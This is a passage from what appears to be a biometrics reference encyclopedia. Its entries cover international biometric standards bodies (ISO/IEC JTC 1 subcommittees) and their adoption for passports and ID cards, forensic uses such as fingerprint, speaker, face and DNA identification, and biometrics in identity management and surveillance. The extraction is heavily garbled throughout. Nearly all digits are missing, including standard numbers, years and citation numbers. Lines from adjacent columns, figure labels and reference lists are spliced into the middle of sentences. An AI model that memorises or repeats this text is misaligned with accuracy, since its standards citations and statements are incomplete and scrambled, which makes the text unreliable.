methods). JTC /SC has also contributed to JTC /SC erence architecture (ISO/IEC ); and entity authen-
s work that uses the compact data-interchange formats tication assurance (ISO/IEC ). Figure depicts the
specified in some of the JTC /SC standards, such as international biometric standards activities within JTC
the ccompact formats in the finger-minutia and finger- subcommittees.
patterns data format standards. JTC /SC has contributed to other biometric-related
JTC /SC addresses a number of projects related to standards including ISO , Biometrics security frame-
biometrics or the use of biometric standards. JTC /SC work, published in . This standard was developed
developed ISO/IEC : Security evaluation of biomet- by Subcommittee of ISO Technical Committee .
rics, which was published in . This standard specifies Using established collaborative procedures between ITU-
the biometric-specific aspects and principles to be con- T and JTC , coordination of work between JTC/SC
sidered during the security evaluation of a biometric sys- and ITU-T SG is ongoing in areas such as security
tem. It does not address the non-biometric aspects that requirements and specifications and authentication. JTC
might form part of the overall security evaluation of a /SC has contributed to a number of projects developed
system using biometric technology (e.g., requirements on by ITU-T related to telebiometrics such as the Biomet-
databases or communication channels). ISO/IEC : ric Interworking Protocol (BIP) project. JTC /SC also
Authentication context for biometrics was also published in maintains close liaison relationships with other organiza-
. This standard defines the structure and the data ele- tions such as the BioAPI Consortium, the International
ments of authentication context for biometrics (ACBio), Biometric Industry Association (IBIA), and the ILO. The
which is used for checking the validity of the result of a BioAPI Consortium developed the initial specification of
biometric verification process executed at a remote site. the BioAPI standard and is actively participating in the
This allows any ACBio instance to accompany any data JTC /SC standards activities that are related to the
item that is involved in any biometric process related to continued development of this standard. IBIA serves as
verification and enrollment. Ongoing projects in JTC /SC the CBEFF Registration Authority for the JTC /SC
Biometric standards activities in ISO/IEC JTC 1

SC 37
Cross jurisdictional
& societal issues SC 17
(Token-based)
Harmonized
SC 37 (e.g., APIs, B
conformance)
biometric vocabulary
Biometric interfaces
SC 37 Biometric profiles
SC 27 Security evaluation
Biometric system SC 37 Performance
properties evaluation
Biometric data
security
SC 27 (e.g.,
confidentiality
availability, integrity)
Logical data
framework formats
SC 37 (e.g., CBEFF data

Biometric data framework)
interchange
formats SC 37 (a number of biometric
modalities, sample quality,
conformance)
Biometric Technologies and Security International Biometric Standards Development Activities. Fig.
standard ISO/IEC . JTC /SC maintains an active include the use of two fingerprint templates to be stored
liaison with this organization and assists them in fulfilling in a barcode placed in the area indicated by the ICAOs
this important role. As stated above, the ILO and JTC /SC standard. ILOs requirements specify the use of some
collaborated in the development of a biometric profile of the standards approved by JTC /SC ; specifically
(biometric-based verification and identification of seafar- finger-minutiae and finger image data interchange formats
ers). This work takes into account ILOs requirements for and an instantiation of a CBEFF data structure. The Euro-
a detailed biometric profile for verification and identifica- pean Union (EU) password specification working docu-
tion of seafarers. ment [] describes solutions for chip-enabled EU pass-
ports, based on EUs council regulation on standards for
Biometric Standards Adoption security features and biometrics in passports and travel
A number of the biometric standards developed by JTC documents issued by member states []. The specifica-
/SC are already required by international and national tion relies on international standards, especially ISO/IEC
organizations. ICAO, for example, selected facial recogni- standards and ICAO recommendations on MRTDs, and
tion as the globally interoperable biometric for machine- includes specifications for biometric face and fingerprint
assisted identity confirmation for Machine readable travel identifiers; thus, the specifications are underpinned by
documents (MRTD). ICAO requires conformance to the ISO/IEC standards resulting from the work of JTC /SC
face recognition standard developed by JTC /SC . . A number of standards are referred to in this EU
Other ICAO references to JTC /SC standards are the document including an ICAO New Technology Working
fingerprint data-interchange formats, the iris recognition Groups Technical Report [] as well as the ISO/IEC -
interchange format, and an instantiation of the CBEFF : and ISO/IEC -: standards developed by
standard. ILOs requirements for the seafarers ID card JTC /SC .
B Biometric Testing
Countries participating in JTC /SC are also . Communication from Dr. Angel L. Puebla, president of AEN
adopting standards developed by this subcommittee. In CTN/SC (Spanish Subcommittee of Biometric Identifica-
tion), Economic and Technical Coordination Division of the
Spain, the electronic national identity card (DNIe) includes
Spanish Main Directorate of the Police and the Civil Guard,
personal information of the citizen, details of electronic July
certificates, and the biometric information. The image of . Registry of USG Recommended Biometric Standards, Version
the face is stored following ISO/IEC - and ICAO ., June , and Version ., August . Subcommittee
standards. Finger minutiae are stored using the ISO/IEC of Biometrics and Identity Management, Office of Science and
Technology Policy, National Science and Technology Council,
- standard. In addition, the biometric data included
http://www.biometrics.gov/Standards/Default.aspx
in Spanish e-passports is the image of the face based on
ISO/IEC - and ICAO standard compliant stored
in JPEG format (ISO ) []. In the USA, sev-
eral organizations require selected biometric data inter-
change standards developed by JTC/SC and some of Biometric Testing
the ongoing biometric testing programs use some of the
performance testing methodology standards developed Biometric Systems Evaluation
by the subcommittee. The Registry of U.S. Government
Recommended Biometric Standards developed by the
National Science and Technology Council Subcommittee
on Biometrics and Identity Management [] recommends Biometrics for Forensics
some of the data formats specified in JTC /SC stan-
dards: the finger-minutiae, face-image, and iris-image Martin Evison
data-interchange formats as well as the BioAPI specifi- Forensic Science Program, University of Toronto,
cation and its companion conformance testing method- Mississauga, ON, Canada
ology standard. Two parts of the multipart performance
testing methodology standard are also included in the Synonyms
Registry. Anthropometrics; Anthropometry
Related Concepts
DNA Profiling; Ear Print Identification; Evidence,
Recommended Reading Fact in Issue, Expert Opinion, Dermatoglyphic Finger-
. World Biometric Market Report (N-), Frost and Sullivan, print; Facial Recognition; Forensic Facial Comparison;
March ; International Biometric Industry Associa- Palm Print; Speaker Identification
tion, October ; Biometrics Market and Industry Report
, International Biometric Group, October
. Frost and Sullivan, July Denition
. International Biometric Industry Association, Application of biometric technologies in the interests of the
. JTC Long-Term Business Plan, ISO/IEC JTC N October Courts or Criminal Justice System.

. JTC /SC List of Published Standards, http://www.iso.
Background
org/iso/iso_catalogue/catalogue_tc/catalogue_tc_browse.htm?
commid=&published=on
The meaning of forensic biometrics is broad, ambiguous,
. http://isotc.iso.org/livelink/livelink/open/jtc - select ISO/IEC and contestable.
JTC /SC Biometrics The word forensic derives from the Latin forum, and
. ITU-T Web site: http://www.itu.int/ITU- T/ means in the service of the Courts or Criminal Justice Sys-
. International Standards Organization e-store Web site: http://
tem more widely. This may include the processes of foren-
www.iso.org/iso/store.htm
. Biometrics Deployment of EU-Passports. The European Union
sic investigation, forensic analysis, or trial in Court. It can
password specification working document (EN) June , be construed more broadly to include the domains of pris-
. Council Regulation (EC) No / of December on ons, health care of offenders (particularly mental health
standards for security features and biometrics in passports and care), and behavioral or psychological issues associated
travel documents issued by Member States. Official Journal of
with offending.
the European Union, L /
. Biometrics Deployment of Machine Readable Travel Docu-
The word biometric has a range of meanings, some of
ments. ICAO NTWG, Technical Report, Version ., May which are discipline-specific. In statistics, biometric statis-
, tics (or biometry) refers to the application of statistics to a
Biometrics for Forensics B
wide range of problems in biology. Computational biomet- Computational Biometrics

rics normally refers to the application of computer science Computational biometrics relies on an assumption that
to automated systems for individual recognition. there is natural variation in phenotype that can be acquired
At its simplest level, a biometric is a measurement of remotely normally using a camera or digital image scan-
any biological or phenotypic trait, or observable charac- ner and measured and analyzed automatically using
teristic of the body. This could be height, weight, sex, computer programs or algorithms.
B
and so on. At a deeper level it could include measures of Recent reviews of biometric technologies are provided
external, internal, or molecular phenotype, of which eye by [] and []. Irrespective of the application, biometric
color, frontal sinus morphology, and ABO blood group are systems incorporate three steps: capture, feature extrac-
respective examples. In computer science, the term is com- tion, and comparison. Feature extraction may involve ini-
monly extended from measures of phenotype to behavioral tial localization of a phenotypic characteristic in an image
traits such as gait, voice, and signature. Physiological char- and may be followed by further encoding of extracted
acteristics such as pulse, blood pressure, and a variety of data. Comparison with one or more questioned images or
hormonal, chemical, or microbiological assays are not usu- derived datasets is implicit, and these may be held in large
ally the subject of computational biometrics (see [] for reference databases. The result of comparison may be a
some interesting exceptions), which focuses on remote and match, non-match, or prioritized ranked list of most sim-
noninvasive capture of information from images. ilar reference images. Localization of image features and
detection of characteristics within them may rely on a vari-
ety of image processing and analysis techniques, includ-
ing thresholding, edge detection, and pattern recognition.
Theory
A variety of mathematical and statistical methods may be
Forensic Science applied in acquisition, encoding, and comparison, includ-
In the context of the Criminal Justice System, a biometric ing Gaussian Mixture Model (GMM), Hidden Markov
becomes a form of evidence. Evidence enables the inves- Model (HMM), Dynamic Time Warping (DTW), Princi-
tigator or Court to resolve an issue regarding a dispute of pal Component Analysis (PCA), and Linear Discriminant
fact []. It is important to note that scientific credibility is Analysis (LDA) based approaches. A classification step
no guarantee of Courtroom acceptance. Rules governing may be used to reduce the size of the reference sample
the use of evidence in Court and in criminal investigations searched in a database.
are such that evidence which is methodologically impec- Performance of a biometric system is assessed accord-
cable from the scientific perspective might nonetheless be ing to specific criteria, including rate of failures to acquire,
inadmissible at trial if it infringes one or more of the gen- rate of false matches, and rate of false non-matches
eral legal principles of admissibility []. These general or, in the case of rank-based approaches, the rank of
principles include requirements of relevance and fair use. known match reference images. The development of per-
To be admissible, expert evidence must relate to a fact in formance testing is illustrated via the implementation
issue that may be proved in order to establish guilt and of the Facial Recognition Technology (FERET) database
is denied or disputed by the accused. The evidence may and Face Recognition Vendor Test (FRVT) evaluation
relate directly to the fact e.g., an eye witness statement programs []. Error rates are particularly significant with
or may be circumstantial e.g., a fingerprint left at the regard to the credibility of evidence in Court.
scene-of-crime [].
Evidence of identification is particularly significant as
it establishes whether or not a person Xwas involved in the Applications
crime []. Forensic biometrics is the application of biometrics in
Usually, witnesses may only give evidence of fact and the interests of the Criminal Justice System. In consider-
not opinion. Where evidence is outside the competence ing applications, the simple broad definition of biometrics
and experience of the judge and jury, however, an expert applies which may refer to height, ear prints, and DNA
may be called upon to offer their opinion in order to assist profiles, as well as dermatoglyphic fingerprint patterns.
the Court. Expert evidence is a complex issue, but in prin- Sometimes forensic applications are merely a collec-
ciple: the field of the expert must be recognized, the expert tion of concepts in computational biometrics applied in
must be competent in that field, and the experts opinion the interests of the Criminal Justice System e.g., auto-
must be restricted to that field and relevant to the issue in mated fingerprint technology. Here, in essence, the tech-
fact before the Court []. nologies are similar or even identical to systems applied
B Biometrics for Forensics
in other areas. Their utility of computational biometrics in applications. Speaker recognition should not be confused
forensic applications is only partial, however. with voice recognition. Speaker recognition may rely on
In other cases, the biometric concerned is unusual a variety of cultural, linguistic and phonetic parame-
like height, ear print, or DNA profile and generally not ters as well as on acoustics []. Again, computational
considered to be of particular interest in computational biometric acoustic data is only part of a suite of char-
biometrics. acteristics presented by the expert as evidence of speaker
Fingerprinting offers an illustrative example. Dermato- identification in Court.
glyphic fingerprints emerged as a source of physical evi- Although not normally considered a computational
dence in the nineteenth century []. The twentieth century biometric, forensic DNA profiling does rely heavily on
saw their almost universal adoption in criminal investiga- computerized statistical analyses and databases []. DNA
tion and trial. By the mid-twentieth century large archives has emerged as a gold standard for forensic identifica-
of fingerprint records of suspects and accused had accu- tion, as there are well-understood criteria for establishing
mulated in many jurisdictions. In the late twentieth cen- the presence of absence of a DNA match and for esti-
tury, automated fingerprint technology became available mating the frequency of any given profile in the popula-
[, ]. tion a value that cannot yet be calculated for fingerprint
Automated fingerprint identification systems (AFIS) patterns.
rely on the detection of features in images of fingerprints. Despite the plethora of research undertaken in face
Fingerprint patterns are made up of friction ridges, which recognition, the application of these systems in the
can readily be detected using feature extraction, edge Criminal Justice System has been limited. The most
detection, and other algorithms. Features include whorls, productive application has been in computerized searching
loops, and arches, as well as bifurcations in ridges, ridge of databases of arrestee photographs. In an investigation,
endings, and dots or short ridges []. it is important to know whether a suspect or offender has
Figure shows a fingerprint comparison in the AFIX been encountered before. Archives of photographs of the
Tracker automated fingerprint identification system. The faces of previous arrestees offer a means of establishing
image on the left is the scene-of-crime print. The sys- whether or not this is the case. A national system is pro-
tem has located a number of features in the scene-of-crime posed in the UK []. It is important to note that these
print and a search algorithm has been used to generate a applications have an advantage in being able to utilize
list of configurations from a database of known offenders, arrestees D facial images, which are collected at a stan-
ranked in order of similarity. The closest potential match dard pose angle and scale, are unobscured, and are nor-
from the database of known offenders is shown in the mally of good photographic quality. This does not usually
right-hand image. apply to offender images captured on CCTV, for exam-
It is important to note that this is where the limit of ple. Furthermore, any potential match from a ranked list
automated fingerprint recognition as a forensic application of potential matches must be again be verified, if necessary
is reached: the first or even nth candidate on the ranked by another means such as fingerprints or DNA.
list is not always a match. It is necessary for experienced The methods usually applied in facial identification for
fingerprint experts to make detailed manual comparisons the Courts are rudimentary. They include simple man-
of the scene-of-crime lift and the original ink-rolled ual photogrammetric measurements of facial proportions,
prints from suspects fingers. False matches offered by the superimpositions of offender and suspect images, and
biometric system in the ranked list need to be eliminated. manual anthroscopic examination of distinguishing fea-
If the fingerprint experts can confirm a match man- tures including scars, moles, and tattoos.
ually, from the scene-of-crime lift and the original ink- There are no databases used to calculate face shape
rolled print from the suspects fingers, this is the evidence frequency in D or D.
that will be documented and presented in Court. Evison and Vorder Bruegge [] have investigated an
Automated fingerprint systems are used in investi- approach to forensic facial comparison, which like der-
gation and administration where they are invaluable, matoglyphic fingerprinting relies on identifiable features
but the evidence adduced at trial is based on the origi- or landmark points on the face, but also offers the prospect
nal manually collected scene-of-crime lift and the ink- of establishing the frequency of a set of facial landmark
rolled print from the suspect, and is presented by a finger- configurations in the general population via database col-
print expert. lection [, ].
Speaker recognition is a further example of the Forensic ear print identification has also been the
limited utility of computational biometrics in forensic subject of a large international study and the resulted
Biometrics for Forensics B
Biometrics for Forensics. Fig. Illustration of a ngerprint comparison in the AFIX tracker system. The left hand image is of the
scene-of-crime lift. The system has located features friction ridge endings (red), bifurcations (cyan), the core(yellow circle) and
the delta (yellow triange) in the print. The text box at the bottom centre contains a ranked list of the most probable matches
with individuals in the database. In this case, the rst ranked individual on the list is a true match [Brent Walker, with permission]
method is also a computer-aided system, with estimates of Recognition is not the same as identification. The latter
error rates []. is unequivocal, but the former is not. False matches are
Height estimation continues to rely on a rudimentary obviously not desirable in Court.
photogrammetric approach []. As usual in accessing the utility of a biometric, the
application area and the performance characteristics need
Open Problems to be considered. A poor false match rate in arrestee pho-
Courts are presently poorly served by biometric tograph searching may not be critical in a minor investi-
technologies. gation, but for serious crime or where a particular suspect
In considering forensic applications of biometric tech- can only be held for a short length of time before being
nology, it is important to make the distinction between released, time is likely to be of the essence.
evidence of investigative and evaluative (or probative) There are opportunities for forensic applications of
value. Evidence of investigative value is helpful in offer- biometric systems outside of the investigation and the
ing avenues of further enquiry in these cases routine Courtroom in establishing the proper identity of persons
facial recognition systems, for example, might be useful. released from detention, for example. The wrong offenders
Evidence of evaluative (or probative) value offers a more- are often released by mistake (e.g. [])!
or-less reliable indication which the Court may use in Countermeasures to biometric systems are as impor-
addressing an issue in fact and assessing the guilt or inno- tant in forensic applications as they are in security-related
cence of the accused. Computational biometric systems areas (see [] for a topical illustration).
even automated fingerprint technology are still inferior Disaster victim identification (DVI) is an important
to a manual identification by an expert in this regard. application area so far poorly served by computational
In the forensic context, a certain level of false matches biometric systems. DVI tends to rely on DNA or den-
may be tolerable in an investigation, where leads can tal records for identification, although dermatoglyphic
be pursued and excluded by a process of elimination. fingerprints sometimes survive. Dental recognition or
B Biometrics for Identity Management and Fields of Application
identification systems may have some value, especially if . Lee HC, Gaensslen RE () Advances in fingerprint technol-
expanded to consider forensic bite mark analysis. Forensic ogy, nd edn. CRC Press, New York
. Mallett XGD, Dryden IL, Evison MP () An exploration of
facial reconstruction [] has been the subject of investiga-
sample representativeness in anthropometric facial comparison,
tion in computer science, but applications based on defor- J Forensic Sci
mation or warping of generic medical image data of the . Maltoni D, Maio D, JainAK, Prabhakar S () Handbook of
head, or on virtual reality modeling, are so far much less fingerprint recognition. Springer-Verlag, New York
satisfying than traditional sculptural approaches, which . Phillips PJ, Moon H, Rauss PJ, Rizvi S () The FERET eval-
uation methodology for face recognition algorithms. IEEE T
are cheaper and yield a more life like image.
Pattern Anal ():
Mobile devices are a burgeoning source of forensic . Rose P () Forensic speaker identification. Taylor and
biometric evidence. They are also available as tools able Francis, London
to increase the efficiency of identification by investiga- . Roberts P () The science of proof: forensic science evi-
tors []. dence in English criminal trials. In: Fraser J, Williams R
(eds) Handbook of forensic science, Willan, Cullompton, UK,
Multimodal systems are likely to be as valuable in
pp
forensic applications as they are elsewhere. Microfluidic . Taylor A () Principles of evidence. Cavendish,
chemistry may eventuate in mobile lab-on-chip devices London
for DNA profiling and so forth, offering the potential for . Travis A () Police trying out national database with
fully integrated multimodal forensic identification systems , mugshots, MPs told, The Guardian, [Online] http://
www.guardian.co.uk / uk / / mar // ukcrime.humanrights.
and supporting telecommunication and database tech-
Accessed th February
nologies to arise.
Recommended Reading
. Alberink I, Ruifrok A () Performance of the FearID earprint
identification system. Forensic Sci Int : Biometrics for Identity
. Ashbaugh DR () Quantitative-qualitative friction ridge
analysis: an introduction to basic and advanced ridgeology. CRC Management and Fields of
Press, New York Application
. Bolle RM, Connell JH, Pankanti S, Ratha NK, Senior AW ()
Guide to biometrics. Springer, New York
Elisabeth de Leeuw
. Boulgouris NV, Plataniotis KN, Micheli-Tzanakou E ()
Biometrics: theory, methods, and applications. Wiley, Siemens IT Solutions and Services B.V., Zoetermeer,
Hoboken The Netherlands
. Butler JM () Forensic DNA Typing. Elsevier,
Burlington, MA
. CBC () Sex offender realeased early by mistake, CBC
News. [Online] http://www.cbc.ca/canada/saskatchewan/story/
Denitions
///sk-offender- released.html. Accessed th Identity
February
The concept of identity applies to entities in general, that
. Edelman G, Alberink I () Height measurements in
images: how to deal with measurement uncertainty correlated
is, human beings or other living creatures and to physical
to actual height, law, probability and risk. [Online] http:// or logical entities.
lpr.oxfordjournals.org/cgi/reprint/mgpv. Accessed th
February
. Evison MP () Virtual -D facial reconstruction. Inter-
Identication
net Archaeology [Online] http://intarch.ac.uk/journal/issue/ Identification is to be understood as the determina-
evison_index.html. Accessed th February tion of an identity, in other words, the action or pro-
. Evison MP, Vorder Bruegge RW () Computer-aided forensic cess of determining who a person is in a particular
facial comparison. CRC Press, New York context [].
. Evison MP, Dryden IL, Fieller NRJ, Mallett XGD, Morecroft L,
Schofield D, Vorder Bruegge RW () Key parameters of
face shape variation in D in a large sample. J Forensic Sci Identity Management
(): According to Springer Encyclopedia of Cryptography and
. Jones WD () Computerized face-recognition
Security in hand [] identity management is defined as the
technology is still easily foiled by cosmetic surgery. IEEE
Spectrum [Online] http://spectrum.ieee.org/computing/embed
set of processes, tools, and social contracts surrounding the
ded-systems/computerized- facerecognition- technology- foiled. creation, maintenance, and termination of a digital iden-
Accessed th February tity for people or, more generally, for systems and services,
Biometrics for Identity Management and Fields of Application B
to enable secure access to an expanding set of systems and Direct Identication

applications. Historically, however, identity management Direct identification can be either a formal or an informal
is not limited to digital identities. In the Torah for exam- process. In the context of formal direct identification, bio-
ple, Book of Numbers, it is said that following the Exodus metrics is a primary means to identity a subject. Biometric
from Egypt, a census of the Israelites took place (Book of traits of a living subject are used as an argument for one-
Numbers :.). to-many searches through biometric samples as stored in
B
a database. Direct identification, usually, is briefly referred
Biometrics to as identification (Fig. ).
Biometrics can be defined as the science of measuring indi-
vidual physical or behavioral traits and thus as a thing by Indirect or Claim-Based Identication
itself. In the context of indirect identification, biometrics serves
to verify the identity as claimed by a subject, or, for that
matter, by a third party. Biometric traits of a living sub-
Background
ject are one-to-one compared to samples as stored on a
Identification processes are crucial to identity manage-
credential (Fig. ).
ment. Biometrics may play a role in identification pro-
cesses and in identity management as a whole. This entry
describes the role biometrics can play, or may play in the Reliability of Biometrics
future, as well as possible issues connected to it. Comparison versus Search
The reliability of biometric technology depends to a high
Theory degree on whether a one-to-one comparison or one-to-
many search is performed. Error rates as indicated by both
Basics of Biometrics in Identity Management industry and independent laboratories mostly apply to a
Comparison versus Search of Biometric Traits one-to-one comparison. Error rates in supposed matches
A biometric trait of a living subject can be compared either resulting from a one-to-many search increase with the
one-to-one to a stored biometric sample, or it can be used number of entries as searched in the database.
as an argument for a one-to-many search through biomet- As a consequence, the application of biometrics in
ric samples as stored in a database, depending on the basic indirect identification processes seems, in general, to be
mode of identification. more feasible than the application of biometrics in direct
identification processes.
Formal and Informal Identication

Informal identification is the spontaneous process between Quality of Biometric Samples
subjects, in which sensory information is processed by the The quality of the biometric samples that are used is most
human brain in order to mutually determine identities. important. The sample with the lowest quality in the pro-
The process is usually reciprocal and there is a balance of cess forms by definition a weakest link: the quality of the
power. Formal identification takes place between a repre- process as a whole fully depends on it.
sentative of an organizational entity on the one hand and The quality of biometric samples that are collected on
an individual subject on the other hand. Physical or behav- an ad hoc basis will be generally speaking of less quality
ioral samples may be processed by biometric technology than biometric traits that are collected according to prede-
as part of the process, in order to determine the identity of fined, secure proceedings. Predefined, secure proceedings
the subject. The process is not reciprocal and there is not for the collection of biometric samples are a prerequisite
necessarily a balance of power []. for the successful application of biometrics in identifica-
tion processes.
Role of Biometrics in Identication Processes

Feasibility of Biometrics
Biometrics takes a different position in direct and indirect
identification processes. Biometrics is not synonymous to Types of Biometric Traits
identification. Therefore, the distinction between direct The types and properties of biometric traits are of great
and indirect identification is a precondition in order to impact to the outcome of biometric processes.
clearly describe the position and role of biometrics in There are four types of biometric traits: genotypic, ran-
identity management and identification processes. dotypic, phenotypic, and behavioral. Critical properties
DIRECT IDENTIFICATION
Observe featture
STEP No. Identify
INFORMAL RECOGNITION
1 1 Stakeholder meets subject
1 2 Stakeholder sees face, hears voice of subject
1 3 Stakeholder memorizes people he or she met before
and possibly matches memories with current subject
FORMAL RECOGNITION
2 1 Stakeholder meets subject
2 2 Stakeholder creates electronic record of subjects physical features
2 3 Stakeholder searches feature in IDbase 1: N
using electronic record of living physical feature of subject as search argument
and possibly matches this feature with feature as stored in Idbase
Biometrics for Identity Management and Fields of Application. Fig. Direct identication
of biometric traits are uniqueness, universality, perma- Scale and Context of Application
nence, measurability, user-friendliness, and inherent copy In order for biometrics to function optimally, the con-
protection. text needs to be stabilized. For this reason, biometrics in
The critical properties vary with the type of biomet- supplier laboratories and independent research institutes
ric trait at stake. Genotypic traits for example tend to be usually outperforms biometric applications in real life.
unique and permanent, whereas behavioral traits may be And biometrics in small-scale applications outperforms
unstable and less unique. Fingerprints on the other hand biometrics in large-scale applications.
are user-friendly but relatively unreliable as compared to High varieties in age, race, psychology, and gender
the use of genetic traits. Vein patterns for example have of subjects may have a negative impact on performance.
an inherent copy protection, they are difficult to record A change of physical environment may as well have an
and copy and are thus may be feasible in critical appli- impact on performance. Low temperatures may change
cations, where the risk of fraud is high. Fingerprints and face expressions and rough physical work, for example, in
facial images are less feasible in this context. building construction, may cause damage to fingerprints.
Social and legal environment may be of impact on the
Choice of Biometric Types fraud appetite of subjects and thus indirectly affect the per-
Therefore, when choosing a biometric trait type, it is formance. Voluntary participation of the subject, on the
important to bear in mind which criteria are most impor- other hand, may have a positive impact on the reliability
tant for the proposed identification processes and to which of the outcome of biometric measurements.
extend the respective biometric trait types match with
these criteria. Biometric applications using trait types with
an inherent weak copy protection, fingerprints, for exam- Risks and Liabilities
ple, are vulnerable to spoofing attacks, which put the legit- In the context of biometrics in identity management, there
imate holder of the trait at a high risk of identity theft. It are basically two types of stakeholders: process owners
is advisable either to choose an alternative biometric trait and subjects. Both stakeholders have different interest that
with a better inherent copy protection, or to apply bio- may or may not align. Interests may align in the context
metric encryption in order to protect the legitimate holder of logistics and voluntary profiling. On the other hand, a
against abuse. conflict of interest, which is inherent to criminal search,
Biometrics for Identity Management and Fields of Application B
INDIRECT IDENTIFICATION
Authenticate credential
Present credential
B
Verify claim
Claim
STEP No.
INFORMAL IDENTIFICATION
1 1 Stakeholder meets person
1 2 Person mentions his or her name (and possibly other details)
1 3 Person may name friends, relatives or affiliations as a matter of reference
1 4 Stakeholder authenticates matters of reference
Stakeholder checks references
FORMAL IDENTIFICATION
2 1 Person needs to identity him- or herself as part of a (business) process

2 2 Person claims an identity
2 3 Person presents a credential as proof of identity
2 4 1 1 Living biometric credential is presented
2 4 1 2 Living biometric credential is authenticated
2 4 1 3 Electronic record of living physical feature is 1 : 1 compared
to physical feature as stored in IDbase
2 4 2 1 Informational credential is presented
2 4 2 2 Informational credential is authenticated
2 4 2 3 Correlations between live and biometric features
as stored in IDbase and on credential are 1 : 1 verified
Biometrics for Identity Management and Fields of Application. Fig. Indirect identication
surveillance, and access management, including border sample can prove the integrity of the relation between a
control, causes a high fraud risk. When taking precautions subject, its credential, and the description of the subjects
or making judgments, in case of conflicts of interest, it is identity as included in a database.
important not to shift the connected liabilities from the
systems owner to other stakeholders or even to the group
of subjects as a whole. Biometrics in Identity Management
Identity management is a precondition for a range of other
applications, in which biometrics can play a role.
Applications
Biometrics as Part of Identication Processes
Once a true identity is established and recorded in a Access Management
database, it is important to secure the integrity of the Identity management is a prerequisite for both physi-
identitys lifecycle. When reporting changes in identity cal and logical access management. Access rights of sub-
attributes or claiming new credentials, the authenticity of jects are initially registered in access management systems,
the applicant can be established using biometrics. Thus, which serve to authorize subjects at a later point in time. In
illicit change of identity or handout of credentials can be this context, biometrics may be used as a means of identifi-
prevented. cation. However, it is important to see to it, that biometric
In authentication of an identity claim, as part of ver- traits are presented voluntarily, that is, the subject may not
ification process in secondary identification, a biometric be under pressure of a third fraudulous party.
Logistics, Tracking and Tracing not meet the requirements, the false acceptance rates in
Identity management can help to improve logistics, for particular being a problem []. In May , the UK Pass-
example, in airport passenger handling. Tracking and trac- port Service reported that, during a series of trials, % of
ing may be part of these processes. Biometrics may serve all facial verifications, % of all iris verifications, and %
in this context as a form of primary identification, and, of all fingerprint verifications had been falsely rejected [].
because of its universal characteristics, can enhance these In June , a report of the Identity Project, executed by
processes or even serve as connection between multiple the London School of Economics [] judged that the pro-
processes. posals for the UK Identity Cards Bill, being considered
at that time by Parliament, are neither safe nor appropri-
Search ate. According to the report, It is not just so simple as to
In the context of criminal investigations, the search of sus- say that the [biometric] technology will one day improve.
pects is enabled by criminal databases, that is, identity The factors that go into this consideration are numerous
management. Biometrics traditionally plays an important and complex. The balancing act regarding such technology
role in this field. However, it is important to note that a involves hundreds of factors (. . .) compared to abilities to
one-to-many search is quite susceptible to errors. Also, the verify, the acceptable rate of error in contrast to the accept-
often-limited quality of the samples, collected at crime sites able rigour. We must consider all of these factors as we
has a negative impact on performance and cannot always decide what kind of infrastructure we would like to build,
be relied upon. and what kind of society we are constructing.
Besides, in the context of national identity manage-
Surveillance ment, function creep is a risk. In the last years, govern-
CCTV images can be used to map the position of individ- ments have built or extended many central databases that
uals at a particular point in time and space or after a lapse hold information on many aspects of the lives of citizens,
of time. This may be worthwhile, for example, in shopping biometrics included. This tendency is subject to criticism.
centers or parking lots. In connection with identity man- In , Ross Anderson, in a report titled Database State,
agement systems, the presence of two or more individuals states that in too many cases, the public are neither served
at a particular point in time and space may be proved likely. nor protected by the increasingly complex and intrusive
However, to connect the samples to specific predefined holdings of personal information invading every aspect of
identities requires a database search, which, as mentioned our lives [], profiling and discrimination being possi-
above, which will often not be reliable. ble consequences. Also, an increase of identity fraud may
follow from biometric passport data made available for
Proling criminal investigations, as has been proposed, for example,
Biometric traits reveal a lot of personal characteristics and
in Article b of the Dutch Passport Act [].
thus can be used for profiling. Race, sex and, to a cer-
Thus, it is open to question, whether the current and
tain extent, age, are obvious in CCTV images and also in
aimed application of biometrics in national identity man-
photos used for biometric authentication. Some biometric
agement serves its primary objective [].
traits may reveal genetic predispositions. Life samples may
reveal illnesses, moods, or fatigue. Biometric profiling is
therefore very intrusive, in particular when the biometric
data are correlated with other data in identity databases. Recommended Reading
The proportionality of this type of application is therefore . Risks and Threats Attached to the Application of Biometric
Technology in National Identity Management Elisabeth de
to be considered meticulously.
Leeuw, Thesis submitted in fulfillment of the requirements
for the degree of Master of Security in Information Tech-
Open Problems nology at the TIAS Business School, Eindhoven and Tilburg,
The Netherlands, Amsterdam, October . http://www.pvib.
Biometrics in National Identity Management nl/download/?id=&download=
Biometrics is mandatory on travel documents in both the . Encyclopedia of Cryptography and Security Editor in
European Community and the USA, primary objective Chief Henk C.A. van Tilborg, Eindhoven University of
being to enhance public security. However, the applica- Technology, The Netherlands, Copyright , Springer
Science+Business Media, Inc. http://www.springer.com/com
tion of biometrics on travel documents is not undisputed.
puter/security+and+cryptology/book/---- Entry:
It is said that the technology has not yet been tested ade- Identity Management (Joe Pato)
quately for larg-scale applications such as national identity . Edward Higgs () Are state-mediated forms of identifi-
management and that the performance of technology does cation a reaction to physical mobility? The case of England,
Biometrics in Video Surveillance B
, University of Essex, UK, in: de Leeuw E, Fischer- Background

Hbner S, Tseng JC, Borking J (eds.) First IFIP WG . Work In terms of the distance from a biometric sensor to the
Conference on Policies and Research in Identity
human body, a biometric system can be categorized into
Management (IDMAN), RSM Erasmus University, Rotterdam,
The Netherlands, October , . Series: IFIP Advances in
contact, e.g., fingerprint based; near-distance (at a dis-
tance of less than m, e.g., in most iris recognition and
Information and Communication Technology, Vol. . Springer,
New York, pp . http://www.springer.com/computer/ face recognition used in cooperative user applications; and
B
security+and+cryptology/book/- - - - mid-distance (between and m) and far-distance ones
. UK passport service biometrics enrolment trial Atos Origin re-
(more than m).
port, published May . http://hornbeam.cs.ucl.ac.uk/hcs/
teaching/GA/lecextra/UKPSBiometrics_Enrolment_Trial_Re
Biometrics in video surveillance belongs to the far-
port.pdf. Accessed Dec distance category, including those using face [], gait [],
. The identity project An assessment of the UK identity cards bill and iris (iris on the move) []. As the biometric part of a
and its implications. The London School of Economics and Polit- surveillance system, it uses a surveillance video (CCTV)
ical Science Department of Information Systems, Version .,
camera to capture biometric images within its field of view.
June , . http://identityproject.lse.ac.uk/identityreport.pdf
. Anderson R, Brown I, Dowty T, Inglesant P, Heath W,
It usually operates at a distance, hence nonintrusive, and
Sasse A () Database State Commissioned and published requires little or no cooperation from the individual. A face
by the Joseph Rowntree Reform Trust Ltd., Copyright The biometric surveillance setting is illustrated in Fig. .
Joseph Rowntree Reform Trust Ltd. . http://www.jrrt.org.
uk/uploads/database- state.pdf http://www.jrrt.org.uk/uploads/
